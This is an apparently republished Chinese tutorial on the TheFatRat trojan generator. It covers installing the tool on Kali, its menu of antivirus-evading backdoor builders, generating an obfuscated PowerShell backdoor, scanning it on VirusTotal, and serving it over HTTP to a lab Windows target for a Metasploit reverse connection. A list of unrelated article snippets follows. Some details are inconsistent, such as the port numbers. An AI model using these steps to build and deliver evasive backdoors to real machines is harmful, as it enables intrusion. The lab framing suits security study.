14、TheFatRat木马生成工具-创建后门或payload

news2025/4/17 2:48:04
kail攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2  192.168.11.134  x64 32位
 

一、TheFatRat介绍

TheFatRat创建的后门或者payload,可以在Linux,Windows,Mac和Android上等多种平台上执行,可生成exe、apk、sh、bat、py等多种格式。TheFatRat可以和msf无缝对接,并且集成内置了Fudwin、Avoid、backdoor-factory等多个免杀工具,对powershell的免杀姿势尤其多样。
 
特征:
  • 全自动MSFvenom & Metasploit。
  • 本地或远程侦听器生成。
  • 按类别轻松制作后门操作系统
  • 生成各种格式的有效载荷
  • 绕过防病毒后门
  • 可以用于增加文件大小的文件泵。
  • 能够检测外部IP和接口地址。
  • 自动创建用于USB/CDROM利用的AutoRun文件。
 

二、kail机器安装TheFatRat

1、git clone https://github.com/Screetsec/TheFatRat.git
2、apt install mingw-w64  # 不可少
3、添加执行权限:chmod +x setup.sh powerfull.sh fatrat
4、./setup.py
正在自动完成一些相关的配置:
配置输出目录:
是否生成快捷方式:
在成功安装后,可以查看TheFatRat/logs目录下的setup.log文件,里面是TheFatRat需要的一些软件和环境:
作者提供了升级的命令,可直接升级软件:
./update && chmod + x setup.sh && ./setup.sh
 

三、使用TheFatRat

3.1、常用创建后门菜单

启动:./fatrat
启动过程比较慢,耐心等待,直至出现如下界面:
[01]  Create Backdoor with msfvenom:直接利用msf生产后门,基本不能免杀;
[02]  Create Fud 100% Backdoor with Fudwin 1.0:使用Fudwin 1.0创建powershell后门,ps1利用powerstager混淆,从结果来看效果不错;
[03]  Create Fud Backdoor with Avoid v1.2:使用Avoid v1.2创建后门;
[04]  Create Fud Backdoor with backdoor-factory:使用backdoor-factory创建后门;
[05]  Backdooring Original apk [Instagram, Line,etc]:生成安卓使用的apk后门
[06]  Create Fud Backdoor 1000% with PwnWinds [Excelent]:综合了多种方式,可生成bat、exe、dll、ps1等,可利用c、C#多种语言编译,官方非常推荐,但经尝试免杀效果一般,肯定是被杀软列入特征库了;
[07]  Create Backdoor For Office with Microsploit:生成office类后门;
[08]  Trojan Debian Package For Remote Access [Trodebi]:生成linux后门
 

3.2、生成后门或payload

在主菜单选择2,进入[02] Create Fud 100% Backdoor with Fudwin 1.0,选择1,利用powerstager混淆,并将powershell编译成exe。
若生成过程报错,去查看TheFatRat/logs目录下的fudwin.log文件,看看什么报错信息。
生成的rc脚本如下:用于后续msf攻击使用
生成的后门或者payload如下:
 
使用微步在线云沙箱 (threatbook.com) 在线检测样本,结果如下:
  

3.3、上传后门到靶机

用python打开一个http服务器:
cd /root/Desktop/Fatrat_Generated/
python -m http.server 80008
在靶机上访问http://192.168.11.106:14772可下载后门程序:
 

3.4、上传后门到靶机

1、靶机上执行3.2节生成的rc脚本:msf6 > resource /root/Desktop/TheFatRat/config/listeners/test1.rc
2、在靶机上执行后门程序test.exe.exe:
虽然报错,但可正常上线:
 

四、参考

6-2 自动化工具 FatRat介绍与安装_ev_哔哩哔哩_bilibili

6-3 Linux Payload安全测试_ev_哔哩哔哩_bilibili

远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70) - SecPulse.COM | 安全脉搏

微步在线云沙箱 (threatbook.com)  在线检测样本

VirusTotal - Home  在线检测样本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/87458.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

九、JavaScript——数据类型_数值

一、数值 定义及规范: 数值 (Number) -在JS中所有的整数和浮点数(小数) 都是Number JS中的数值并不是无限大的,当数值超过一定后会显示近似值,JavaScript表达的最大整数是:9007199254740992 Infinity 是…

设计模式总览——枯燥的知识又增加了

从今天开始呢,阿Q就带大家了解一下 java 的设计模式,并从中选出比较常用的几种设计模式进行总结。首先呢,先给大家说一下设计模式到底是什么。 设计模式 设计模式(Design pattern)代表了最佳的实践,通常被…

iOS备用机自动充电方案

搬到新加坡以后,我拥有了很多张手机卡:1张国内的电话卡,回国时使用1张新加坡电话卡,本地使用1张马来西亚电话卡,去马来西亚旅行时使用1张英国电话卡,去欧洲旅行时使用相对应的,我需要有备用机来…

DSP篇--C6701功能调试系列之 FLASH测试

目录 1、 FLASH介绍 2、 FLASH功能测试 调试的前期准备可以参考前面的博文:DSP篇--C6701功能调试系列之前期准备_nanke_yh的博客-CSDN博客 1、 FLASH介绍 FLASH作为EMIF的外设,对其操作就需要根据EMIF相关配置来确定FLASH的地址了。 一般地&#xff…

Django第二天学习记录

1.对于路由配置的正则化补充(re_path的正则匹配) 对于第一天学习的path转换器过于暴力,对于需要匹配的内容不能很精准的进行转换。为了实现精准的字符串匹配规则,因此引入了re_path(reg,view,namexxx)进行路由规则的精确匹配。 正…

关于云计算的 7 大误区

一直以来,有几个关于云计算的误区四处传播,散布恐惧和不必要的不信任。在使用新技术之前研究新技术并检查事实是很好的。让我们来看看关于云计算的 7 大误区,看看哪些是真的,哪些不是。 1.云迁移可能很麻烦 云迁移包括许多过程&am…

KMP算法讲解与实现

0、概述 KMP是用于字符串查找/匹配的算法; KMP算法的时间复杂度:O(n)O(n)O(n); KMP算法的核心: 1)如何理解 next 数组2)如何利用 next 数组加速匹配过程,优化时的两个实质 KMP算法的实现 1…

推荐|资深架构师 10 年 10 条干货职场心得

出道这么些年,跳过好多公司,除了国企其他的基本上都去过,甲方、乙方、外包、外企、互联网公司、创业公司…总结下来有这么些体会,希望能对你和大家有些参考价值。1. 保持学习可能离开了学校之后,所有的学习几乎都出于工…

b站黑马的Vue快速入门案例代码——图片切换(类似手动播放的轮播图)

目录 目标效果: 重点原理: 1.用数组储存图片的数据 2.v-bind指令可以设置元素属性 e.g.src 语法 v-bind:属性名表达式 简写【实际开发常用】 :属性名表达式 3.v-show和v-if都可以切换元素的显示/隐藏状态 (1)频繁切换显示/隐藏的dom元素用 v…

Opencv项目实战:17 贪吃蛇游戏

目录 0、项目介绍 1、效果展示 2、项目搭建 3、项目代码展示与讲解 4、项目资源 5、项目总结 0、项目介绍 这次是一个有意思的计算机视觉游戏——贪吃蛇,我们以食指为蛇头,不断的移动我们的手指,当吃到甜甜圈的时候,蛇身增…

浅谈字节码增强技术系列2-Asm与Cglib

作者:董子龙 前言 记得那是2022年秋天的第一场雨,比2021年来的稍晚一些,在那个秋雨朦胧的下午,正在工位上奋笔疾书的我突然听到了前面波哥对着手机听筒说出来的"温柔"的话语:说说你了解的spring-aop。话音…

基于Vision Transformers的文档理解简介

文档理解是从pdf、图像和Word文档中提取关键信息的技术。这篇文章的目标是提供一个文档理解模型的概述。 文档理解算法使用编码器-解码器结构分析文档内容,该管道结合了计算机视觉(CV)和自然语言处理(NLP)方法。管道的CV部分将文档作为输入图像进行分析&#xff0c…

对数据库索引的理解以及索引在MySQL中的数据结构

引言 索引在本质上相当于书的目录,通过目录就可以快速的找到某个章节对应的位置。索引的效果,就是加快了查找的速度。日常进行数据库的操作,一般地都是进行增删查改,而在很多场景中,进行查找的概率要比增删改大很多。…

搭建Flutter Web开发调试环境

Setting up the Framework/Engine development environment背景搭建 framework 开发环境修改调试 framework 源码运行 framework 测试用例同步更新 framework 源码搭建 engine 开发环境准备 depot_tools部署 engine 源码编译 engine 源码修改调试 engine 源码指定 --local-engi…

​极氪汽车被曝拟美股上市:最高募资10亿 李书福接连收获IPO

雷递网 雷建平 12月13日极氪汽车日前被曝出已“秘密递交申请”,准备在美股上市,此次拟募资10亿美元,估值可能高达100亿美元。有分析认为,极氪汽车秘密递交招股书,是为尽可能向其他竞争对手隐藏招股书细节,以…

十二、对象继承深入、call_apply、※圣杯模式、※构造函数和闭包、※企业模块化

十二、对象继承深入、call_apply、※圣杯模式、※构造函数和闭包、※企业模块化 对象继承深入 原型链继承 原型链定义 ​ 对象沿着__proto__在原型上寻找属性形成一种链条式的继承关系,这种继承关系就叫做原型链。 例如: Professor.prototype {na…

Linux(二)vim编辑器,gcc,库

vim 简介 vi是“visual interface”的简称。 类似于Windows下的记事本。 vim可以视为vi的高级版本 按下vimtutor进入帮助文档,以下内容在其中都有 vim的三种模式 Vi有三种基本工作模式:命令模式、文本输入模式、末行模式 基本操作 命令模式下的操作…

迷宫--dfs解法以及迷宫问题要不要回溯

文章目录题意题解思路:问题: 迷宫问题dfs要不要回溯?题意 一天Extense在森林里探险的时候不小心走入了一个迷宫,迷宫可以看成是由 n∗n 的格点组成,每个格点只有2种状态,.和#,前者表示可以通行…

装载问题 ——分支限界法(Java)

装载问题 ——分支限界法(Java) 文章目录装载问题 ——分支限界法(Java)1、 问题描述2、算法设计3、算法的改进4、程序代码5、参考资料1、 问题描述 有一批共n个集装箱要装上2艘载重量分别为C1和C2的轮船,其中集 装箱…

数图互通高校房产管理——教职工住宅方案

数图互通房产管理系统在这方面做得比较全面; 1、住房管理 1.1 住房档案 住房模块的管理主要是针对学校的承租住宅和已售住宅的管理,用于登记已售住宅的产权人信息,记录承租住宅的租赁起止日期、月租金等基本信息。 支持住房的坐落信息、楼栋…